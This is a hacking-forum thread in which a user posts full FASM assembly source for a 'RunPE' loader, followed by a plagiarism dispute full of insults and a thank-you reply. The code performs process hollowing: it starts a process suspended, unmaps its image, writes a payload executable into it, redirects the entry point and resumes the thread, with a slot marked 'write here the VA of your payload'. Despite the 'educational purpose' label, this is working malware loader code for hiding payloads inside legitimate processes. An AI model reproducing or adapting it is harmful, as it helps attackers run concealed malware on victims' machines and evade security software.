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[Assembly] [FASM]Basic RunPE - Printable Version

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+---- Thread: [Assembly] [FASM]Basic RunPE (/showthread.php?tid=5205373)

[FASM]Basic RunPE - Armitage - Mar 16, 2016

i was bored and i decided to explore some of my old files, and i found one of my old sources and yes it's a RunPE, so i decided to share it for people who want to learn how it works 😅
Code
;BASIC FASM RUNPE
;CODED BY ARMITAGE FOR EDUCATIONAL PURPOSE ONLY

format PE GUI 4.0
entry start
include "INCLUDE\WIN32A.INC"

section ".text" code executable readable

  start:

    push PROCESSINFORMATION
    push STARTUP_INFO
    push 0
    push 0
    push CREATE_SUSPENDED
    push 0
    push 0
    push 0
    push TargetProcess
    push 0
    call [CreateProcessA]
    mov dword [CONTEXT], 10002h         ;Set CONTEXT.ContextFlags
    push CONTEXT
    push dword [PROCESSINFORMATION+4]   ;PROCESS_INFORMATION.hThread
    call [GetThreadContext]
    cmp eax, 0
    je ExitProcess
    mov eax, dword [CONTEXT+0A4h]   ;CONTEXT.EBX
    add eax, 8                      ;PEB ADDRESS
    push 0
    push 4
    push BASEADDRESS
    push eax
    push dword [PROCESSINFORMATION]
    call [ReadProcessMemory]
    push dword [BASEADDRESS]
    push dword [PROCESSINFORMATION]
    call [NtUnmapViewOfSection]
    mov eax, dword [DataPtr]
    mov ebx, eax
    mov ax, word [eax]
    cmp ax, 5A4Dh
    jne ExitProcess
    mov eax, dword [ebx+3Ch]     ;IMAGE_DOS_HEADER.e_lfanew
    add eax, ebx
    mov esi, eax                     ;Saving the pointer
    mov eax, dword [eax]
    cmp eax, 4550h
    jne ExitProcess
    mov ax, word [esi+6h]
    mov word [NUMBEROFSECTIONS], ax
    mov eax, dword [esi+34h]
    mov dword [IMAGEBASE], eax
    cmp eax, dword [BASEADDRESS]
    jne ExitProcess
    mov eax, dword [esi+50h]
    mov dword [SIZEOFIMAGE], eax
    mov eax, dword [esi+54h]
    mov dword [SIZEOFHEADERS], eax
    add esi, 0F8h
    mov dword [SECTIONHEADER_PTR], esi
    push PAGE_EXECUTE_READWRITE
    push MEM_COMMIT or MEM_RESERVE
    push dword [SIZEOFIMAGE]
    push dword [IMAGEBASE]
    push dword [PROCESSINFORMATION]
    call [VirtualAllocEx]
    push RETURN
    push dword [SIZEOFHEADERS]
    push dword [DataPtr]
    push eax                           ;VirtualAllocEx returned value
    push dword [PROCESSINFORMATION]
    call [WriteProcessMemory]          ;WRITE IMAGE_NT_HEADERS
    mov ecx, 0
    mov edi, 28h

    WriteSections:

    mov eax, dword [SECTIONHEADER_PTR]
    mov esi, eax                     ;We save the pointer into ESI

    add eax, 0Ch
    mov dword [rTemp], eax
    mov eax, ecx
    mul edi
    mov edx, dword [rTemp]
    add edx, eax
    mov eax, dword [edx]
    add eax, dword [IMAGEBASE]       ;IMAGE_SECTION_HEADER[i].VirtualAddress + IMAGEBASE
    mov dword [rTemp], eax           ;Save the value

    mov ebx, esi                     ;We save the pointer into EBX
    add esi, 10h
    mov eax, ecx
    mul edi
    add esi, eax
    mov esi, dword [esi]             ;IMAGE_SECTION_HEADER[i].SizeOfRawData
    mov dword [rTemp2], esi

    add ebx, 14h
    mov eax, ecx
    mul edi
    add ebx, eax
    mov eax, dword [ebx]             ;IMAGE_SECTION_HEADERS[i].PointerToRawData
    add eax, dword [DataPtr]

    mov word [ecxtemp], ecx

    push RETURN
    push dword [rTemp2]              ;IMAGE_SECTION_HEADERS[1].SizeOfRawData
    push eax                         ;IMAGE_SECTION_HEADERS[i].PointerToRawData
    push dword [rTemp]               ;IMAGE_SECTION_HEADERS[i].VirtualAddress + IMAGEBASE
    push dword [PROCESSINFORMATION]  ;PROCESS_INFORMATION.hProcess
    call [WriteProcessMemory]

    mov ecx, dword [ecxtemp]

    inc ecx
    cmp cx, word [NUMBEROFSECTIONS]
    jne WriteSections

    mov eax, dword [CONTEXT+0A4h]   ;CONTEXT.EBX
    add eax, 8

    push 0
    push 4
    push BASEADDRESS
    push eax
    push dword [PROCESSINFORMATION]
    call [WriteProcessMemory]

    mov eax, dword [DataPtr]
    mov eax, dword [eax+3Ch]      ;IMAGE_DOS_HEADER.e_lfanew
    add eax, dword [DataPtr]
    mov eax, dword [eax+28h]      ;OptionalHeader.AddressOfEntryPoint
    add eax, dword [IMAGEBASE]    ;It's not relative now :)
    mov dword [CONTEXT+0B0h], eax
    push CONTEXT
    push dword [PROCESSINFORMATION+4]
    call [SetThreadContext]
    push dword [PROCESSINFORMATION+4]
    call [ResumeThread]
    push 0
    call [Exit_Process]


ExitProcess:
   push 0
   push dword [PROCESSINFORMATION]
   call [TerminateProcess]
   push dword [PROCESSINFORMATION+4]  ;PROCESS_INFORMATION.hThread
   call [CloseHandle]
   push dword [PROCESSINFORMATION]   ;PROCESS_INFORMATION.hProcess
   call [CloseHandle]
   push 0
   call [Exit_Process]

section ".data" data readable writable

  TargetProcess db "C:\Users\XNXX.COM(lol)\Desktop\Coding\FASM IDE\RunPE.exe", 0
  DataPtr dd 405058h ;write here the VA of your payload




section ".bss" readable writable

  ;WE WILL USE BSS SEGMENT INSTEAD OF STRUCTURES :)
  PROCESSINFORMATION rb 10h
  STARTUP_INFO rb 44h
  CONTEXT rb 2CCh
  BASEADDRESS rd 1
  RETURN rd 1
  IMAGEBASE rd 1
  SIZEOFIMAGE rd 1
  SIZEOFHEADERS rd 1
  NUMBEROFSECTIONS rw 1
  SECTIONHEADER_PTR rd 1
  rTemp rd 1
  rTemp2 rd 1
  ecxtemp rw 1

section ".idata" import data readable writeable

  library kernel,"KERNEL32.DLL",\
          ntdll,"NTDLL.DLL"
  import kernel,\
         CreateProcessA, "CreateProcessA",\
         GetThreadContext, "GetThreadContext",\
         SetThreadContext, "SetThreadContext",\
         VirtualAllocEx, "VirtualAllocEx",\
         ReadProcessMemory, "ReadProcessMemory",\
         WriteProcessMemory, "WriteProcessMemory",\
         ResumeThread, "ResumeThread",\
         CloseHandle, "CloseHandle",\
         TerminateProcess, "TerminateProcess",\
         Exit_Process,"ExitProcess"
  import ntdll,\
         NtUnmapViewOfSection, "NtUnmapViewOfSection"


* - G1gg1L3s - Jul 7, 2016

This a copy paste of FASM Packer by Xash

* - Armitage - Jul 10, 2016

(Jul 7, 2016 12:10 PM)G1gg1L3s Wrote:  This a copy paste of FASM Packer by Xash
if you are talking about this: https://hackforums.net/showthread.php?tid=5159998
first of all this is a Packer which doesn't use a RunPE, how the fuck did i copy it ?
can you tell me what i copied ?
and as a reponse for this as it got closed:
Quote:First : If you say those API's are undocumented not stable and shit why are you using them .
Second:If you had a fraction of the left central lobe of a brain the one responsible for logical thinking you'll know that your code won't work if you even tested it because you deleted some crucial parts of Xash's code (Xash is also a member of this forum by the way)
Third:You use CodeBlocks (for GOD FUCKING SAKES) you comment in .NET & AutoIt Section all the time you haven't seen TERR's code but apparently you have this knowledge of Microsoft Kernel Wrappers .Because if you had some knowledge about Microsoft Codebase at all you'll know that API's of the NT Family are built on the same codebase from XP to Windows 10.

First : i didn't said to DON'T USE THEM, i said they are not used by LEGITIMATE Softwares.
Second: It's working.
Third: i don't comment in those both section, you must be a dumb if you saw me there.
They aren't build on the same "codebase" fucking skid.

* - aymi68 - Dec 6, 2016

Thank you for sharing this . I've never thought it was easier to learn in ASM.